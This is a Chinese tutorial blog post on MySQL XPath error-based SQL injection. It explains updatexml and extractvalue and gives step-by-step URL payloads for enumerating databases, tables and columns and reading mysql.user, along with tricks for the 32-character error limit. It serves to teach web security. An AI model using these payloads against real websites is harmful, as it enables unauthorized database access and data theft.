xpath报错注入

  • 什么是xml?

XML 指可扩展标记语言,是一种很像HTML的标记语言(XML 不是 HTML 的替代),XML 的设计宗旨是传输数据,而不是显示数据。XML 标签没有被预定义。用户可以自行定义标签。XML 被设计为具有自我描述性。

  • 但xml不会对数据内容做任何事情

下面实例是 Jani 写给 Tove 的便签,存储为 XML:

<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

上面的这条便签具有自我描述性。它包含了发送者和接受者的信息,同时拥有标题以及消息主体。但它仍然没有做任何事情,仅仅是包装在 XML 标签中的纯粹的信息。我们需要编写软件或者程序,才能传送、接收和显示出这个文档

  •  xml可以让用户自定义自己的标签

上面实例中的标签,没有在任何 XML 标准中定义过(比如 <to> 和 <from>)。这些标签是由用户创造的。这是因为 XML 语言没有预定义的标签。XML 允许创作者定义自己的标签和自己的文档结构。

HTML 中使用的标签都是预定义的。HTML 文档只能使用在 HTML 标准中定义过的标签(如 <p>、<h1> 等)。

  • xml和html有什么区别?

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

在大多数web应用程序中,XML用于传输数据,而HTML用于格式化并显示数据。

  • 什么是报错注入?

报错注入在没法用union联合查询时用,且不能过滤一些关键的函数。

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误导致的报错注入类型

  • 报错注入的条件是什么?

1.报错信息必须是动态的、来自数据库的报错信息。
2.网站写死的、自定义的报错提示不算。

  • 什么是xpath?

XPath 是一门在 XML 文档中查找信息的语言。

           XPath 使用路径表达式在 XML 文档中进行导航;
           XPath 包含一个标准函数库。

           ...

来源于:XPath 教程 | 菜鸟教程

  • 什么是xpath节点?

在 XPath 中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档(根)节点。XML 文档是被作为节点树来对待的。树的根被称为文档节点或者根节点。

例子:下面这个 XML 文档:

<?xml version="1.0" encoding="UTF-8"?><bookstore><book><title lang="en">Harry Potter</title><author>J K. Rowling</author><year>2005</year><price>29.99</price></book>
</bookstore>

上面的XML文档中的节点例子:

<bookstore> (文档节点)
<author>J K. Rowling</author> (元素节点)
lang="en" (属性节点)

来源于:XPath 节点 | 菜鸟教程

  • 报错函数

updatexml函数

语法:UPDATEXML(XML_document,XPath_string,new_value)

第一个参数:是string格式,为XML文档对象的名称,第二个参数:代表路径,Xpath格式的字符串例如//title 第三个参数:string格式,替换查找到的符合条件的数据

SQL报错注入的应用:当使用updatexml(XML_document,XPath_string,new_value)函数时,若xpath_string参数不符合xpath格式,就会报错。

而~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在XPath_string参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

函数参数有三个

  • XML数据
  • XPath表达式:用于指定要修改的节点位置
  • 新的节点值:用于替换当前节点的值

updatexml函数报错的原理是:

UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

而第二个参数xpath_string(xpath格式的字符串),我们在注入的时候把第二个参数变为非xpath格式自然会报错

实例:

现在有以下的XML类型的数据:

<root><message><sender>Tom</sender><receiver>Kate</receiver><content>Hello, how are you?</content></message>
</root>

我们可以用updatexml函数来替换节点的值,比如将消息内容的值替换为新的内容

UPDATE messages
SET msg = UPDATEXML(msg, '/root/message/content', 'I am fine, thank you.')
WHERE id = 1;

上面的语句将会把表中id为1的记录的content节点的值修改为"I am fine, thank you."。

实操见:

知识点选自:详解MySQL的UPDATEXML()函数:更新 XML 文档中的节点值 - Python技术站

extractvalue函数:此函数从目标XML中返回包含所查询值的字符串
语法:extractvalue(XML_document,xpath_string)

第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想查询的内容。正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

SQL报错注入的应用:当使用extractvalue(XML_document,xpath_string)函数时,若xpath_string参数不符合xpath格式,就会报错。

而~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_string参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

实操见:

  • 突破报错函数长度限制

updatexml() 和extractvalue()函数的报错内容长度不能超过32个字符,常用的解决方式有两种:

  1. limit 分页
  2. substr()截取字符

  • limit分页

以查询数据库用户为例:

?id=-1' and updatexml(1,concat(0x7e,
    (select user
    from mysql.user limit 1,1)
),3) -- a

  • substr()截取字符

以查询数据库用户为例:

?id=-1' and updatexml(1,concat(0x7e,
    substr(
        (select group_concat(user)
        from mysql.user)
    , 1 , 31)
),3) -- a

  • 报错注入步骤

1. 判断是否有注入点且注入点类型是什么

参数中添加任意内容,判断是注入点后再判断其注入类型

-- 空格为单行注释符

?id=1' --

2. 判断报错条件

参数中添加报错函数,检查报错信息是否正常回显在页面上

?id=1' and updatexml(1,'~',3) --

3. 获取所有数据库

用concat函数拼接特殊符号和查询结果

1,31表示从第1个字符开始截取,截取31个字符

?id=-1' and updatexml(1,concat('~',
    substr(
        (select group_concat(schema_name)
        from information_schema.schemata)
    , 1 , 31)
),3) --

4.获取所有表

?id=-1' and updatexml(1,concat('~',
    substr(
        (select group_concat(table_name)
        from information_schema.tables
        where table_schema = 'xxx')
    , 1 , 31)
),3) --

5.获取所有字段

?id=-1' and updatexml(1,concat('~',
    substr(
        (select group_concat(column_name)
        from information_schema.columns
        where table_schema = 'xxx' and table_name = 'xx')
    , 1 , 31)
),3) --

7.获取字段下的数据

本文所有知识点引用源于:

xpath报错注入_xpath syntax_硫酸超的博客-CSDN博客

【精选】SQL报错型注入原理-详细讲解 extractvalue()、updatexml()、floor() 的报错原因-CSDN博客 sql注入之报错注入-CSDN博客

报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例-CSDN博客

【精选】updatexml函数-报错注入原理学习_身高两米不到的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/201373.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

“云浮云福保”暖心回归! 保障升级价格不变,医保个账可为全家缴费!

11月22日&#xff0c;2024年“云浮云福保”项目启动会在广东省云浮市迎宾馆成功举办。记者在会上获悉&#xff0c;“云浮云福保”是在云浮市医疗保障局、云浮市金融工作局、国家金融监督管理总局云浮监管分局指导下&#xff0c;的指导下&#xff0c;由中国人民财产保险股份有限…

华为云cce健康检查有什么用?配置需要注意什么?

华为云cce健康检查 如上图&#xff0c;华为云健康检查可用来探测cce的实例运行状态&#xff0c;必要时cce会自动重启实例&#xff0c;达到cce持续服务。 但是配置时需要注意一下几个方面&#xff0c;否则cce的状态总是有些不正常。 1、http探查比较友好。因为我们的在cce里面…

利用Python进行数据分析【送书第六期:文末送书】

&#x1f468;‍&#x1f393;博主简介 &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01; &#x1f40b; 希望大家多多支…

在python中分别利用numpy,tensorflow,pytorch实现数据的增加维度(升维),减少维度(降维)

文章目录 前言一、使用numpy实现升维度&#xff0c;降维度二、使用TensorFlow实现升维度&#xff0c;降维度三、使用PyTorch实现升维度&#xff0c;降维度总结 前言 我们明确一下升维和降维的概念&#xff1a; 升维&#xff08;Dimensionality Augmentation&#xff09;&…

rsync配置和守护进程实践

目录 一、rsync概念 1.rsync简介 2.rsync特点 3、增量和全局传输 二、Rsync工作方式 1.准备好rsync备份服务器 2.本地的数据传输模式 3.远程的数据传输模式 4.rsync数据推拉模式 三、实践 1.准备三台虚拟机 2.都安装rsync服务 3.拉取远程文件 3.推送文件 4.rsyn…

变态跳台阶,剑指offer

目录 题目&#xff1a; 我们直接看题解吧&#xff1a; 相似题目&#xff1a; 解题方法&#xff1a; 审题目事例提示&#xff1a; 解题思路&#xff1a; 代码实现&#xff1a; 题目地址&#xff1a; 【剑指Offer】9、变态跳台阶 难度&#xff1a;简单 今天刷变态跳台阶&#xf…

【GUI】-- 13 贪吃蛇小游戏之食物及成绩判断

GUI编程 04 贪吃蛇小游戏 4.4 第四步&#xff1a;食物及成绩判断 首先&#xff0c;添加食物与分数的数据定义&#xff1a; //食物的坐标int foodX;int foodY;Random random new Random();//积分面板数据结构int score;在初始化方法中&#xff0c;添加(画出)食物与分数&…

HarmonyOS从基础到实战-高性能华为在线答题元服务

最近看到美团、新浪、去哪儿多家互联网企业启动鸿蒙原生应用开发&#xff0c;这个HarmonyOS NEXT越来越引人关注。奈何当前不面向个人开发者开放&#xff0c;但是我们可以尝试下鸿蒙新的应用形态——元服务的开发。 元服务是基于HarmonyOS提供的一种面向未来的服务提供方式&…

万字解析:十大排序(直接插入排序+希尔排序+选择排序+堆排序+冒泡排序+快速排序+归并排序+计数排序+基数排序+桶排序)

文章目录 十大排序排序算法复杂度及稳定性分析一、 排序的概念1.排序&#xff1a;2.稳定性&#xff1a;3.内部排序&#xff1a;4.外部排序&#xff1a; 二、插入排序1.直接插入排序2.希尔排序 三、选择排序1.直接选择排序方法一方法二直接插入排序和直接排序的区别 2.堆排序 四…

五大资源之Service(可以固定IP)

Service可以看作是一组同类Pod对外访问接口,借助Service应用可以方便的实现服务发现与负载均衡 创建集群内部可以访问Service #暴露Service(也创建在了namespace dev下) [root@master ~]# kubectl expose deployment(pod控制器) nginx --name=svc-nginx1 --type=Cluste…

python上下文管理器

Python中的上下文管理器&#xff0c;是Python的异常处理机制中的一部分。它允许你在一段代码的开头和结尾之间建立一种关联&#xff0c;以确保在代码执行完毕后进行一些清理工作&#xff0c;比如关闭文件、断开网络连接等。 在Python中&#xff0c;你可以使用with关键字和一个…

基于原子轨道搜索算法优化概率神经网络PNN的分类预测 - 附代码

基于原子轨道搜索算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于原子轨道搜索算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于原子轨道搜索优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xf…

基于天鹰算法优化概率神经网络PNN的分类预测 - 附代码

基于天鹰算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于天鹰算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于天鹰优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神经网络的光滑…

机器学习/sklearn 笔记:K-means,kmeans++

1 K-means介绍 1.0 方法介绍 KMeans算法通过尝试将样本分成n个方差相等的组来聚类&#xff0c;该算法要求指定群集的数量。它适用于大量样本&#xff0c;并已在许多不同领域的广泛应用领域中使用。KMeans算法将一组样本分成不相交的簇&#xff0c;每个簇由簇中样本的平均值描…

基于Acconeer的A121-60GHz毫米波雷达传感器SDK移植及测距示例(STM32L496为例)

基于Acconeer的A121-60GHz毫米波雷达传感器SDK移植及测距示例&#xff08;STM32L496为例&#xff09; 工程&#xff1a; Keil工程资源 参考资料&#xff1a; A121 datasheet 1.3 A121 HAL Software Integration User Guide A121 STM32CubeIDE User Guide 官方参考示例工程&a…

ultralytics yolov8 实例分割 训练自有数据集

参考: https://docs.ultralytics.com/datasets/segment/coco/ http://www.bryh.cn/a/613333.html 1、数据下载与转换yolo格式 1)数据集下载: 参考:https://universe.roboflow.com/naumov-igor-segmentation/car-segmetarion 下载的是coco格式,需要转换 2)coco2yolo t…

边云协同架构设计

文章目录 一. "边云协同"是什么&#xff1f;二. "边云协同"主要包括6种协同2.1 资源协同2.2 数据协同2.3 智能协同2.4 应用管理协同2.5 业务管理协同2.6 服务协同 三. "边云协同"的优势 其它相关推荐&#xff1a; 系统架构之微服务架构 系统架构…

OpenCV [c++](图像处理基础示例小程序汇总)

OpenCV [c++](图像处理基础示例小程序汇总) 推荐 原创 NCUTer 2023-04-04 14:18:49 文章标签 Image 图像处理 文章分类 计算机视觉 人工智能 在51CTO的第一篇博文 阅读数1467 一、图像读取与显示 #include<opencv2/opencv.hpp> #include<iostream>using…

__int128类型movaps指令crash

结论 在使用__int128时&#xff0c;如果__int128类型的内存起始地址不是按16字节对齐的话&#xff0c;有些汇编指令会抛出SIGSEGV使程序crash。 malloc在64位系统中申请的内存地址&#xff0c;是按16字节对齐的&#xff0c;但一般使用时经常会申请一块内存自己切割使用&#…